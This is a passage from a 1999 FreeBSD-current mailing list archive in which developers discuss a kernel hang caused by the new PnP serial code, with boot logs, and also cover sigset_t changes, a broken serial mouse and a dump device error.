      ahc0: external cable is present
      ahc0: BIOS eeprom not present
      ahc0: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs
      ahc0: Downloading Sequencer Program... 411 instructions downloaded
      fxp0: <Intel EtherExpress Pro 10/100B Ethernet> irq 12 at device 10.0 on pci0
      fxp0: Ethernet address 00:a0:c9:b2:18:ef
      bpf: fxp0 attached
      vga-pci0: <ATI Mach64-GX graphics accelerator> at device 11.0 on pci0
      ahc1: <Adaptec 2940 Ultra SCSI adapter> irq 10 at device 12.0 on pci0
      ahc1: Reading SEEPROM...done.
      ahc1: internal 50 cable not present, internal 68 cable not present
      ahc1: external cable is present
      ahc1: BIOS eeprom is present
      ahc1: High byte termination Enabled
      ahc1: Low byte termination Enabled
      ahc1: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs
      ahc1: Downloading Sequencer Program... 411 instructions downloaded
      fe0: not probed (disabled)
      fdc0: not probed (disabled)
      wdc0: not probed (disabled)
      wdc1: not probed (disabled)
      adv0: not probed (disabled)
      bt0: not probed (disabled)
      aha0: not probed (disabled)
      wt0: not probed (disabled)
      mcd0: not probed (disabled)
      matcd0: not probed (disabled)
      scd0: not probed (disabled)
      atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
      atkbd0: <AT Keyboard> irq 1 on atkbdc0
      atkbd: the current kbd controller command byte 0067
      atkbd: keyboard ID 0x41ab (2)
      kbdc: RESET_KBD return code:00fa
      kbdc: RESET_KBD status:00aa
      kbd0: atkbd0, AT 101/102 (2), config:0x0, flags:0x3d0000
      psm0: current command byte:0067
      kbdc: TEST_AUX_PORT status:0000
      kbdc: RESET_AUX return code:00fe
      kbdc: DIAGNOSE status:0055
      kbdc: TEST_KBD_PORT status:0000
      psm0: failed to reset the aux device.
      vga0: <Generic ISA VGA> at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0
      fb0: vga0, vga, type:VGA (5), flags:0x7007f
      fb0: port:0x3b0-0x3df, crtc:0x3d4, mem:0xa0000 0x20000
      fb0: init mode:24, bios mode:3, current mode:24
      fb0: window:0xc00b8000 size:32k gran:32k, buf:0 size:32k
      VGA parameters upon power-up
      50 18 10 00 00 00 03 00 02 67 5f 4f 50 82 55 81 
      bf 1f 00 4f 0e 0f 00 00 07 80 9c 8e 8f 28 1f 96 
      b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 
      3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff 
      VGA parameters in BIOS for mode 24
      50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 
      bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 
      b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 
      3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff 
      EGA/VGA parameters to be used for mode 24
      50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 
      bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 
      b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 
      3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff 
      sc0: <System console> on isa0
      sc0: VGA <16 virtual consoles, flags=0x200>
      sc0: fb0 kbd0
      sio0: irq maps: 0x1 0x11 0x1 0x1
      sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
      sio0: type 16550A
      sio1: irq maps: 0x1 0x9 0x1 0x1
      sio1 at port 0x2f8-0x2ff irq 3 on isa0
      sio1: type 16550A
      sio2: not probed (disabled)
      sio3: not probed (disabled)
      ppc0: not probed (disabled)
      ed0: not probed (disabled)
      ie0: not probed (disabled)
      ep0: not probed (disabled)
      ex0: not probed (disabled)
      le0: not probed (disabled)
      lnc0: not probed (disabled)
      cs0: not probed (disabled)
---->    It hangs here if sio2 is enabled
      unknown0: <SupraExpress 56i Sp V.90> at port 0x3e8-0x3ef irq 5 on isa0
                                                               ^^^^^ really at irq 11
      BIOS Geometries:
      0:0106fe3f 0..262=263 cylinders, 0..254=255 heads, 1..63=63 sectors
      1:03fefe3f 0..1022=1023 cylinders, 0..254=255 heads, 1..63=63 sectors
      0 accounted for
      Device configuration finished.

Any ideas?  BTW, here's a pnpinfo -v:

     Checking for Plug-n-Play devices...

     Card assigned CSN #1
     Vendor ID SUP2480 (0x8024b04e), Serial Number 0x00001334
     PnP Version 1.0, Vendor Version 0
     Device Description: SupraExpress 56i Sp V.90

     Logical Device ID: SUP2480 0x8024b04e #0
             Device supports I/O Range Check
     Compatible Device ID: SUP2080 (8020b04e)
     TAG Start DF
	 I/O Range 0x3f8 .. 0x3f8, alignment 0x8, len 0x8
             [16-bit addr]
	 IRQ: 4  - only one type (true/edge)
     TAG Start DF
	 I/O Range 0x2f8 .. 0x2f8, alignment 0x8, len 0x8
             [16-bit addr]
	 IRQ: 3  - only one type (true/edge)
     TAG Start DF
	 I/O Range 0x3e8 .. 0x3e8, alignment 0x8, len 0x8
             [16-bit addr]
	 IRQ: 4  - only one type (true/edge)
     TAG Start DF
	 I/O Range 0x2e8 .. 0x2e8, alignment 0x8, len 0x8
             [16-bit addr]
	 IRQ: 3  - only one type (true/edge)
     TAG Start DF
	 I/O Range 0x3e8 .. 0x3e8, alignment 0x8, len 0x8
             [16-bit addr]
	 IRQ: 5  - only one type (true/edge)
     TAG Start DF
	 I/O Range 0x2e8 .. 0x2e8, alignment 0x8, len 0x8
             [16-bit addr]
	 IRQ: 5  - only one type (true/edge)
     TAG Start DF
	 I/O Range 0x3e8 .. 0x3e8, alignment 0x8, len 0x8
             [16-bit addr]
	 IRQ: 3 4 5 7 10 11 12 15  - only one type (true/edge)
     TAG Start DF
	 I/O Range 0x2e8 .. 0x2e8, alignment 0x8, len 0x8
             [16-bit addr]
	 IRQ: 3 4 5 7 10 11 12 15  - only one type (true/edge)
     TAG Start DF
	 I/O Range 0x3f8 .. 0x3f8, alignment 0x8, len 0x8
             [16-bit addr]
	 IRQ: 3 4 5 7 10 11 12 15  - only one type (true/edge)
     TAG Start DF
	 I/O Range 0x2f8 .. 0x2f8, alignment 0x8, len 0x8
             [16-bit addr]
	 IRQ: 3 4 5 7 10 11 12 15  - only one type (true/edge)
     TAG Start DF
	 I/O Range 0x200 .. 0x3f8, alignment 0x8, len 0x8
             [16-bit addr]
	 IRQ: 3 4 5 7 10 11 12 15  - only one type (true/edge)
     TAG End DF
     End Tag

     Successfully got 38 resources, 1 logical fdevs
     -- card select # 0x0001

     CSN SUP2480 (0x8024b04e), Serial Number 0x00001334

     Logical device #0
     IO:  0x03e8 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
     IRQ 11 0
     DMA 4 0
     IO range check 0x00 activate 0x01

Dan Eischen
eischen@vigrid.com


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  4:27:19 1999
Delivered-To: freebsd-current@freebsd.org
Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3])
	by hub.freebsd.org (Postfix) with ESMTP id DA89814C12
	for <current@FreeBSD.ORG>; Fri,  1 Oct 1999 04:27:06 -0700 (PDT)
	(envelope-from eischen@vigrid.com)
Received: (from eischen@localhost)
	by pcnet1.pcnet.com (8.8.7/PCNet) id HAA05080;
	Fri, 1 Oct 1999 07:25:47 -0400 (EDT)
Date: Fri, 1 Oct 1999 07:25:47 -0400 (EDT)
From: Daniel Eischen <eischen@vigrid.com>
Message-Id: <199910011125.HAA05080@pcnet1.pcnet.com>
To: alc@cs.rice.edu, bde@zeta.org.au, current@FreeBSD.ORG,
	jdp@polstra.com, marcel@scc.nl, nate@mt.sri.com, peter@netplex.com.au
Subject: Re: sigset_t: a summary
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar wrote:
> So, to start with issue 2:
> 
> To start with the beginning:
> 
> 1. Should the ucontext_t changes be backed out, or is this the
>    way we would like to go? (but only it better :-)

I think we want to keep the ucontext changes.  SUSv2 requires them
when SA_SIGINFO is set.  They'll also make it easier to support
efficient user thread context switches (with get/set/make/swapcontext),
and also provides a hook for a kernel upcall mechanism (scheduler
activations).

Dan Eischen
eischen@vigrid.com


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  4:51:53 1999
Delivered-To: freebsd-current@freebsd.org
Received: from fleming.cs.strath.ac.uk (fleming.cs.strath.ac.uk [130.159.196.126])
	by hub.freebsd.org (Postfix) with ESMTP id 68CFA14C86
	for <current@freebsd.org>; Fri,  1 Oct 1999 04:51:37 -0700 (PDT)
	(envelope-from roger@cs.strath.ac.uk)
Received: from muir-10 (roger@muir-10.cs.strath.ac.uk [130.159.148.10])
	by fleming.cs.strath.ac.uk (8.8.8/8.8.8) with SMTP id MAA27429
	Fri, 1 Oct 1999 12:51:21 +0100 (BST)
Message-ID: <37F4A039.2781@cs.strath.ac.uk>
Date: Fri, 01 Oct 1999 12:51:21 +0100
From: Roger Hardiman <roger@cs.strath.ac.uk>
Organization: University of Strathclyde
X-Mailer: Mozilla 3.04Gold (X11; I; OSF1 V4.0 alpha)
MIME-Version: 1.0
To: current@freebsd.org
Subject: mouse breakage in Current
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi,
Since CVSuping yesterday (after Marcels sig changes)
my RS232 mouse has stopped working.

It no longer works in XFree86 3.9.16 which talks directly
to /dev/cuaa0
And I cannot get the mouse to work in /stand/sysinstall
either (with moused).


cat /dev/cuaa0 does give me characters when I move the
mouse around.

Anyone got any ideas?


Roger
-- 
Roger Hardiman        | Telepresence Research Group
roger@cs.strath.ac.uk | DMEM, University of Strathclyde
tel: 0141 548 2897    | Glasgow, Scotland, G1 1XJ, UK
fax: 0141 552 0557    | http://telepresence.dmem.strath.ac.uk


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  5: 1:48 1999
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id 0396614FBE
	for <current@FreeBSD.ORG>; Fri,  1 Oct 1999 05:01:43 -0700 (PDT)
	(envelope-from des@flood.ping.uio.no)
Received: (from des@localhost)
	by flood.ping.uio.no (8.9.3/8.9.3) id OAA16254;
	Fri, 1 Oct 1999 14:01:35 +0200 (CEST)
	(envelope-from des)
To: Marcel Moolenaar <marcel@scc.nl>
Cc: current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
References: <37F337CC.5E06911B@scc.nl>
From: Dag-Erling Smorgrav <des@flood.ping.uio.no>
Date: 01 Oct 1999 14:01:34 +0200
In-Reply-To: Marcel Moolenaar's message of "Thu, 30 Sep 1999 12:13:32 +0200"
Message-ID: <xzp7ll7cmsh.fsf@flood.ping.uio.no>
Lines: 22
X-Mailer: Gnus v5.5/Emacs 19.34
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar <marcel@scc.nl> writes:
> The problem
> -----------
> When doing a make world, tools are being built that are used by the
> build process. This is to make sure that the tools are appropriate for
> doing a make world. The problem we now face is that the sigset_t change
> causes this to break. The tools that are being built use new syscalls
> not present in a kernel. Not only that, the new tools expect a different
> sigframe in general.
> So, the problem can be split into:
> A) New syscalls using the new sigset_t (sigaction and so on)
> B) A new sigframe (new siginfo, no sigcontext but ucontext_t)

How about this: early in make world, we check whether or not the
current kernel supports the new syscalls. If it does, good. If it
doesn't, we build and load a small module which installs syscalls
which translate the sigset_t stuff into something the old syscalls can
grok. Does that make sense to any of you guys?

DES
-- 
Dag-Erling Smorgrav - des@flood.ping.uio.no


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  5: 9:31 1999
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id 83DCF152C1
	for <freebsd-current@FreeBSD.ORG>; Fri,  1 Oct 1999 05:09:27 -0700 (PDT)
	(envelope-from des@flood.ping.uio.no)
Received: (from des@localhost)
	by flood.ping.uio.no (8.9.3/8.9.3) id OAA16296;
	Fri, 1 Oct 1999 14:09:26 +0200 (CEST)
	(envelope-from des)
To: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
Cc: Douglas Kuntz <dakuntz@home.com>, freebsd-current@FreeBSD.ORG
Subject: Re: something odd w/ bind/named, I think
References: <001401befbdd$e0771f80$2c100218@micronetinfo.com> <19990913083532.E89309@daemon.ninth-circle.org>
From: Dag-Erling Smorgrav <des@flood.ping.uio.no>
Date: 01 Oct 1999 14:09:25 +0200
In-Reply-To: Jeroen Ruigrok/Asmodai's message of "Mon, 13 Sep 1999 08:35:32 +0200"
Message-ID: <xzp4sgbcmfe.fsf@flood.ping.uio.no>
Lines: 11
X-Mailer: Gnus v5.5/Emacs 19.34
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Jeroen Ruigrok/Asmodai <asmodai@wxs.nl> writes:
> Anyways, why are you running CURRENT on an ircd? Why not go with STABLE?

There's no reason not to run -CURRENT on an IRC server, provided one
is qualified to run -CURRENT in the first place. If one is not, the
preferred version would be 3.3-RELEASE or newer with my TCP/IP patches
(http://www.freebsd.org/~des/software/) applied.

DES
-- 
Dag-Erling Smorgrav - des@flood.ping.uio.no


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  5:24:16 1999
Delivered-To: freebsd-current@freebsd.org
Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3])
	by hub.freebsd.org (Postfix) with ESMTP id 5EDD915348
	for <freebsd-current@FreeBSD.org>; Fri,  1 Oct 1999 05:24:09 -0700 (PDT)
	(envelope-from eischen@vigrid.com)
Received: from vigrid.com (pm3-pt90.pcnet.net [206.105.29.164])
	by pcnet1.pcnet.com (8.8.7/PCNet) with ESMTP id IAA11438
	for <freebsd-current@FreeBSD.org>; Fri, 1 Oct 1999 08:22:58 -0400 (EDT)
Message-ID: <37F4A7C9.31C0D752@vigrid.com>
Date: Fri, 01 Oct 1999 08:23:37 -0400
From: "Daniel M. Eischen" <eischen@vigrid.com>
X-Mailer: Mozilla 4.5 [en] (X11; I; FreeBSD 4.0-CURRENT i386)
X-Accept-Language: en
MIME-Version: 1.0
To: freebsd-current@FreeBSD.org
Subject: Re: Recent kernel hangs during boot with pnp sio.
References: <37F4951E.C27DC624@vigrid.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


More info on the kernel hang.

Removing pnp from the kernel configuration will allow me to boot
and successfully detects my pnp modem.  So the culprit seems to
be the new pnp code.  Suggestions welcome.

Here's a successful verbose boot with a kernel from Sept 30th
sources.

     intpm0: <Intel 82371AB Power management controller> at device 4.3 on pci0
     intpm0: I/O mapped e800
     intpm0: intr IRQ 9 enabled revision 0
             using shared irq9.
     smbus0: <System Management Bus> on intsmb0
     smb0: <SMBus general purpose I/O> on smbus0
     intpm0: PM I/O mapped e400 
     ahc0: <Adaptec aic7880 Ultra SCSI adapter> irq 9 at device 6.0 on pci0
     ahc0: Reading SEEPROM...done.
     ahc0: internal 50 cable is present, internal 68 cable is present
     ahc0: external cable is present
     ahc0: BIOS eeprom not present
     ahc0: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs
     ahc0: Downloading Sequencer Program... 411 instructions downloaded
     fxp0: <Intel EtherExpress Pro 10/100B Ethernet> irq 12 at device 10.0 on pci0
     fxp0: Ethernet address 00:a0:c9:b2:18:ef
     bpf: fxp0 attached
     vga-pci0: <ATI Mach64-GX graphics accelerator> at device 11.0 on pci0
     ahc1: <Adaptec 2940 Ultra SCSI adapter> irq 10 at device 12.0 on pci0
     ahc1: Reading SEEPROM...done.
     ahc1: internal 50 cable not present, internal 68 cable not present
     ahc1: external cable is present
     ahc1: BIOS eeprom is present
     ahc1: High byte termination Enabled
     ahc1: Low byte termination Enabled
     ahc1: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs
     ahc1: Downloading Sequencer Program... 411 instructions downloaded
     wdc0 at port 0x1f0-0x1f7 irq 14 on isa0
     wdc0: unit 0 (atapi): <LS-120 COSM   05              UHD Floppy/0510C104>, removable,
      iordy
     wfd0: medium type unknown (no disk)
     fdc0: direction bit not set
     fdc0: cmd 3 failed at out byte 1 of 3
     atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
     atkbd0: <AT Keyboard> irq 1 on atkbdc0
     atkbd: the current kbd controller command byte 0067
     atkbd: keyboard ID 0x41ab (2)
     kbdc: RESET_KBD return code:00fa
     kbdc: RESET_KBD status:00aa
     kbd0: atkbd0, AT 101/102 (2), config:0x0, flags:0x3d0000
     psm0: current command byte:0067
     kbdc: TEST_AUX_PORT status:0000
     kbdc: RESET_AUX return code:00fe
     kbdc: RESET_AUX return code:00fe
     kbdc: RESET_AUX return code:00fe
     kbdc: DIAGNOSE status:0055
     kbdc: TEST_KBD_PORT status:0000
     psm0: failed to reset the aux device.
     vga0: <Generic ISA VGA> at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0
     fb0: vga0, vga, type:VGA (5), flags:0x7007f
     fb0: port:0x3b0-0x3df, crtc:0x3d4, mem:0xa0000 0x20000
     fb0: init mode:24, bios mode:3, current mode:24
     fb0: window:0xc00b8000 size:32k gran:32k, buf:0 size:32k
     VGA parameters upon power-up
     50 18 10 00 00 00 03 00 02 67 5f 4f 50 82 55 81 
     bf 1f 00 4f 0e 0f 00 00 07 80 9c 8e 8f 28 1f 96 
     b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 
     3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff 
     VGA parameters in BIOS for mode 24
     50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 
     bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 
     b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 
     3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff 
     EGA/VGA parameters to be used for mode 24
     50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 
     bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 
     b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 
     3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff 
     sc0: <System console> on isa0
     sc0: VGA <16 virtual consoles, flags=0x200>
     sc0: fb0 kbd0
     sio0: irq maps: 0x1 0x11 0x1 0x1
     sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
     sio0: type 16550A
     sio1: irq maps: 0x1 0x9 0x1 0x1
     sio1 at port 0x2f8-0x2ff irq 3 on isa0
     sio1: type 16550A
-->  sio2: irq maps: 0x1 0x801 0x1 0x1
-->  sio2 at port 0x3e8-0x3ef irq 11 on isa0
-->  sio2: type 16550A
     ppc: parallel port found at 0x378
     ppc0: ECP SPP ECP+EPP SPP
     ppc0 at port 0x378-0x37f irq 7 on isa0
     ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode
     ppc0: FIFO with 16/16/9 bytes threshold
     plip: irq 7
     plip0: <PLIP network interface> on ppbus 0
     bpf: lp0 attached
     lpt0: <generic printer> on ppbus 0
     lpt0: Interrupt-driven port
     ppi0: <generic parallel i/o> on ppbus 0
     BIOS Geometries:
      0:0106fe3f 0..262=263 cylinders, 0..254=255 heads, 1..63=63 sectors
      1:03fefe3f 0..1022=1023 cylinders, 0..254=255 heads, 1..63=63 sectors
      0 accounted for
     Device configuration finished.
     Considering MFS root f/s.
     No MFS image available as root f/s.
     bpf: sl0 attached
     bpf: ppp0 attached
     new masks: bio 40084200, tty 4003089a, net 4007189a
     bpf: lo0 attached
     Linux-ELF exec handler installed
     Waiting 5 seconds for SCSI devices to settle
     [...]

Dan Eischen
eischen@vigrid.com


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  5:32:28 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebsd.dk (freebsd.dk [212.242.42.178])
	by hub.freebsd.org (Postfix) with ESMTP id 1CC1A14D9A
	for <freebsd-current@FreeBSD.ORG>; Fri,  1 Oct 1999 05:32:25 -0700 (PDT)
	(envelope-from sos@freebsd.dk)
Received: (from sos@localhost)
	by freebsd.dk (8.9.3/8.9.1) id OAA63420;
	Fri, 1 Oct 1999 14:32:11 +0200 (CEST)
	(envelope-from sos)
From: Soren Schmidt <sos@freebsd.dk>
Message-Id: <199910011232.OAA63420@freebsd.dk>
Subject: Re: Recent kernel hangs during boot with pnp sio.
In-Reply-To: <37F4A7C9.31C0D752@vigrid.com> from "Daniel M. Eischen" at "Oct 1, 1999 08:23:37 am"
To: eischen@vigrid.com (Daniel M. Eischen)
Date: Fri, 1 Oct 1999 14:32:11 +0200 (CEST)
Cc: freebsd-current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

It seems Daniel M. Eischen wrote:
> 
> More info on the kernel hang.
> 
> Removing pnp from the kernel configuration will allow me to boot
> and successfully detects my pnp modem.  So the culprit seems to
> be the new pnp code.  Suggestions welcome.

Hmm, I also have severe problems with the PnP stuff and my 3C509
cards, it just wont work as the pnp code finds and allocates
adresses for the card, but the card probe doesn't pick them up...

-Soren



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  5:52: 4 1999
Delivered-To: freebsd-current@freebsd.org
Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1])
	by hub.freebsd.org (Postfix) with ESMTP id 417C114FFE
	for <current@FreeBSD.ORG>; Fri,  1 Oct 1999 05:50:42 -0700 (PDT)
	(envelope-from rb@gid.co.uk)
Received: from gid.co.uk (uucp@localhost)
	by isbalham.ist.co.uk (8.9.2/8.8.7) with UUCP id NAA64677
	for FreeBSD.ORG!current; Fri, 1 Oct 1999 13:50:42 +0100 (BST)
	(envelope-from rb@gid.co.uk)
Received: from [194.32.164.2] by seagoon.gid.co.uk; Fri, 1 Oct 1999 13:47:24 +0100 (BST)
X-Sender: rb@194.32.164.1
Message-Id: <l03020900b41a6ab7d721@[194.32.164.2]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 1 Oct 1999 13:47:22 +0000
To: current@FreeBSD.ORG
From: Bob Bishop <rb@gid.co.uk>
Subject: Re: system freezes with today's kernel
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi,

I wrote:
>With today's kernel (cvsup at Thu Sep 30 04:04:55 BST 1999), this system
>freezes (no DDB, nothing) as soon as any load is put on it (eg very early
>in buildworld).

FWIW, something that changed in the subsequent 24hrs fixed this. I'm
suspicious of the fact that the netcard:

ed1: <NE2000 PCI Ethernet (ProLAN)> irq 10 at device 10.0 on pci0
ed1: address 00:20:18:80:b4:6d, type NE2000 (16 bit)

used to come up as ed0.


--
Bob Bishop              (0118) 977 4017  international code +44 118
rb@gid.co.uk        fax (0118) 989 4254  between 0800 and 1800 UK




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  6: 2:24 1999
Delivered-To: freebsd-current@freebsd.org
Received: from maulwurf.franken.de (maulwurf.franken.de [193.141.110.9])
	by hub.freebsd.org (Postfix) with ESMTP id D9DF115194
	for <freebsd-current@freebsd.org>; Fri,  1 Oct 1999 06:02:21 -0700 (PDT)
	(envelope-from gaspode.franken.de!tanis@maulwurf.franken.de)
Received: by maulwurf.franken.de
	via rmail with stdio
	id <m11X2KH-001bDEC@maulwurf.franken.de>
	for freebsd-current@freebsd.org; Fri, 1 Oct 1999 15:02:17 +0200 (MET DST)
	(Smail-3.2 1996-Jul-4 #1 built DST-May-30)
Received: (from tanis@localhost)
	by gaspode.franken.de (8.9.3/8.9.3) id OAA00820;
	Fri, 1 Oct 1999 14:53:01 +0200 (CEST)
	(envelope-from tanis)
Date: Fri, 1 Oct 1999 14:53:01 +0200
From: German Tischler <tanis@gaspode.franken.de>
To: Poul-Henning Kamp <phk@critter.freebsd.dk>
Cc: freebsd-current@freebsd.org
Subject: Re: Dump device
Message-ID: <19991001145301.B421@gaspode.franken.de>
References: <19991001082720.A428@gaspode.franken.de> <9944.938763332@critter.freebsd.dk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <9944.938763332@critter.freebsd.dk>; from Poul-Henning Kamp on Fri, Oct 01, 1999 at 09:35:32AM +0200
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Fri, Oct 01, 1999 at 09:35:32AM +0200, Poul-Henning Kamp wrote:
> 
> Could you send med the output of
> 	fdisk da0
> 	disklabel da0
> 
> please ?

Greg's hint already solved the problem. I had put more memory into
the machine and forgot to increase the swapspace, so it could not
hold a coredump anymore. The message of dumpon should have told me,
but though I was standing in a forest I still didn't see a tree.
If you still want the disklabel and fdisk output, please tell me.

> 
> In message <19991001082720.A428@gaspode.franken.de>, German Tischler writes:
> >Hi.
> >
> >dumpon -v /dev/da0s1b
> >
> >is failing here with
> >
> >dumpon: sysctl: kern.dumpdev: No space left on device
> >
> >Alright, it doesn't have minor number 1 as it is supposed to have
> >from the manpage, but using /dev/da0b (supposed to be the same device)
> >brings me to the same error.
> >
> >What am I doing wrong ?

-- 
German Tischler		tanis@gaspode.franken.de
			tanis@cip.informatik.uni-wuerzburg.de


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  6: 4:45 1999
Delivered-To: freebsd-current@freebsd.org
Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3])
	by hub.freebsd.org (Postfix) with ESMTP id 20FFE14BD8
	for <freebsd-current@FreeBSD.ORG>; Fri,  1 Oct 1999 06:04:43 -0700 (PDT)
	(envelope-from eischen@vigrid.com)
Received: (from eischen@localhost)
	by pcnet1.pcnet.com (8.8.7/PCNet) id JAA16640;
	Fri, 1 Oct 1999 09:03:33 -0400 (EDT)
Date: Fri, 1 Oct 1999 09:03:33 -0400 (EDT)
From: Daniel Eischen <eischen@vigrid.com>
Message-Id: <199910011303.JAA16640@pcnet1.pcnet.com>
To: eischen@vigrid.com, sos@freebsd.dk
Subject: Re: Recent kernel hangs during boot with pnp sio.
Cc: freebsd-current@FreeBSD.ORG
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Soren Schmidt wrote:
> It seems Daniel M. Eischen wrote:
> > 
> > More info on the kernel hang.
> > 
> > Removing pnp from the kernel configuration will allow me to boot
> > and successfully detects my pnp modem.  So the culprit seems to
> > be the new pnp code.  Suggestions welcome.
> 
> Hmm, I also have severe problems with the PnP stuff and my 3C509
> cards, it just wont work as the pnp code finds and allocates
> adresses for the card, but the card probe doesn't pick them up...

Here, it might be the opposite.  The normal sio probes pick up the
pnp modem just fine, and then perhaps pnp comes along and trounces
on what has already been setup/configured.

Dan Eischen
eischen@vigrid.com


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  6:38:46 1999
Delivered-To: freebsd-current@freebsd.org
Received: from uni-sb.de (uni-sb.de [134.96.252.33])
	by hub.freebsd.org (Postfix) with ESMTP id 8B6C91504F
	for <freebsd-current@freebsd.org>; Fri,  1 Oct 1999 06:38:38 -0700 (PDT)
	(envelope-from schuerge@wjpserver.CS.Uni-SB.DE)
Received: from cs.uni-sb.de (cs.uni-sb.de [134.96.252.31])
	by uni-sb.de (8.9.3/1999070600) with ESMTP id PAA20701
	for <freebsd-current@freebsd.org>; Fri, 1 Oct 1999 15:38:28 +0200 (CEST)
Received: from wjpserver.cs.uni-sb.de (wjpserver.cs.uni-sb.de [134.96.247.42])
	by cs.uni-sb.de (8.9.3/1999031900) with ESMTP id PAA25125
	for <freebsd-current@freebsd.org>; Fri, 1 Oct 1999 15:38:28 +0200 (CEST)
Received: (from schuerge@localhost)
	by wjpserver.cs.uni-sb.de (8.9.3/8.9.3/wjp-SVR4/1999052600) id PAA13543
	for freebsd-current@freebsd.org; Fri, 1 Oct 1999 15:38:27 +0200 (MET DST)
From: Thomas Schuerger <schuerge@wjpserver.CS.Uni-SB.DE>
Message-Id: <199910011338.PAA13543@wjpserver.cs.uni-sb.de>
Subject: Socket problems
To: freebsd-current@freebsd.org
Date: Fri, 1 Oct 1999 15:38:27 +0200 (MET DST)
X-Mailer: ELM [version 2.4ME+ PL57 (25)]
MIME-Version: 1.0
